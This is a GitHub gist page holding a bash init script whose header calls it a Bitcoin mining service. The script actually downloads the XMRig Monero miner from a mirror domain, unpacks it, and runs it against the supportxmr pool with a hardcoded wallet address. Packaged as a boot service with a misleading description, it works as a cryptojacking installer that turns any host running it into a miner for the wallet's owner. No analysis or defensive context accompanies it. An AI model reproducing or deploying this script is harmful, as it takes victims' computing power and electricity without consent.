Skip to content

Instantly share code, notes, and snippets.

#!/bin/bash
### BEGIN INIT INFO
# Provides: BitCoinMining
# Required-Start:
# Required-Stop:
# Default-Start:
# Default-Stop:
# X-Interactive: false
# Short-Description: Start/stop BitCoing Mining poclbm-mod
### END INIT INFO
sudo apt update
clear
wget https://github.com/xmrig/xmrig/releases/download/v6.19.3/xmrig-6.19.3-linux-x64.tar.gz
tar xvzf xmrig-6.19.3-linux-x64.tar.gz
cd xmrig-6.19.3-linux-x64
./xmrig -o pool.supportxmr.com:443 -u 43Jtpu3Y3uWCAQX1jPPkf2B1Xa81NNodPBXiNqmXQadcDCzcdJrDtfnPMYSR9jb1aDdHk7LKStXy9dhAYaeevr7N1X6r6Vp -k --tls